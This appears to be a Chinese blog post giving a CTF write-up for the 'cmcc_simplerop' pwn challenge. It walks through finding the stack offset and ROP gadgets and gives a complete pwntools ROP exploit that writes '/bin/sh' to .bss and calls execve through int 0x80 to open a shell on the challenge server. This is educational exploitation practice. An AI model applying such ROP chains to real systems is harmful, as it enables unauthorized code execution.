zoukankan      html  css  js  c++  java
  • cmcc_simplerop

    cmcc_simplerop

    参考大佬的博客:https://www.cnblogs.com/bhxdn/p/12330142.html

    谢谢这位大佬

    安全检查

     流程分析

     在ida里发现偏移只有0x14,可是看完别人的wp后,发现偏移有0x20,测试的方法如下

    先用cyclic 200生成一个字符串

     然后在gdb中测试偏移

     

     可知偏移为0x20

    漏洞利用

    通过工具Ropgadget查找可调用的函数

     在查找可用的gadget,可以找到很多这里我不贴出来了

     调用函数为int 80,当调用号为11时,调用sys_execve

    关于调用号,可以看看这个人的博客

    https://blog.csdn.net/xiaominthere/article/details/17287965

    然后可以通过read函数来将bin_sh输入在bss段上

    exp:

    from pwn import *
    
    #p=process('./simplerop')
    p=remote('node3.buuoj.cn',26642)
    elf=ELF('./simplerop')
    libc=ELF('../libc-2.23_32.so')
    #context.log_level = 'debug'
    
    
    
    int_addr=0x80493e1
    pop_eax=0x080bae06
    pop_edx_ecx_ebx = 0x0806e850
    read_addr= 0x0806CD50
    bin_sh=0x80EBF79
    
    payload=p32(61)*8+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bin_sh)+p32(0x8)
    payload+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_addr)
    
    p.recvuntil('input :')
    
    p.sendline(payload)
    p.sendline('/bin/shx00')
    p.interactive()

    总结

    这一个题目学到的挺多的,比如系统调用,比如灵活运用工具等,最主要的是对栈的了解

    通过这道题,我发现ret返回的地址是当前esp指向的地址

  • 相关阅读:
    第三次上机练习
    第三次作业
    第二次上级练习
    第二次作业
    第一次上机练习
    第一次作业
    4.20
    4.16
    4.10
    4.9
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14021360.html
Copyright © 2011-2022 走看看